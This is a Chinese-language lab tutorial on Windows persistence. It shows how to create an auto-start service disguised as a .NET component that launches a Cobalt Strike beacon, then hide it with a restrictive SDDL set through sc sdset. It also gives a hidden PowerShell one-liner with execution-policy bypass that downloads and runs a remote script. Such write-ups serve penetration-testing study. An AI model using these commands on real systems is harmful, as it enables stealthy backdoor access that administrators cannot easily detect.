Windows权限维持之利用安全描述符隐藏服务后门

利用安全描述符隐藏服务后门进行权限维持

文中主要讲解Windows权限维持中的小技巧，通过了解掌握安全描述符隐藏后门技术，更快知晓权限维持作用。本次实验环境靶场来自于暗月(moonsec)师傅，文中内容全由个人理解编制，若有错处，大佬勿喷，个人学艺不精；本文中提到的任何技术都源自于靶场练习，仅供学习参考，请勿利用文章内的相关技术从事非法测试，如因产生的一切不良后果与文章作者无关。

原理：

使用sc或powershell来出创建自启动服务，再通过修改SDDL（安全描述符）隐藏服务，
最后利用powershell脚本来修改注册表项的访问权限，从而实现真正的隐藏。

漏洞复现：

首先使用cobaltstrike来生成后门文件：

修改名称为beacon，放到administrator目录下:
此为演示，实战根据需要放置目录：

cmd创建自启动服务：
但创建的服务可以通过查询服务发现：

sc create ".NET CLR Networking 3.4.0.0" binpath= "cmd.exe /k C:\Users\administrator\beacon.exe" depend= Tcpip obj= Localsystem start= auto

powershell创建自启动服务：

new-service –Name ".NET CLR Networking 3.4.0.0" –DisplayName ".NET CLR Networking
3.4.0.0" –BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe" –StartupType AutomaticDelayedStart

同样也可以通过命令查看：

sc query ".NET CLR Networking 3.4.0.0"

在未隐藏前，是可以通过命令查看到的：

运行此服务后，后门就成功上线：

修改SDDL来隐藏服务：
windows访问控制模型分为access token(访问令牌)和安全描述符：
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限，服务自然也存在其SDDL，并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务：

sc sdset ".NET CLR Networking 3.4.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

这里服务就已经被隐藏：

再次使用命令已无法查询到服务，但已正常启动

通过注册表依然可以查看相关的命令以及后门路径：

重启服务器后，成功上线。

此处可以使用命令执行1.ps1脚本，修改注册表来拒绝对值的查询，到达隐藏效果，但隐藏后，重启无法完成权限维持:

powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.45.135/1.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.4.0.0'"

理论上说是可以在注册表中进行隐藏，但实验时没有成功，若有成功的大佬欢迎来评论指导。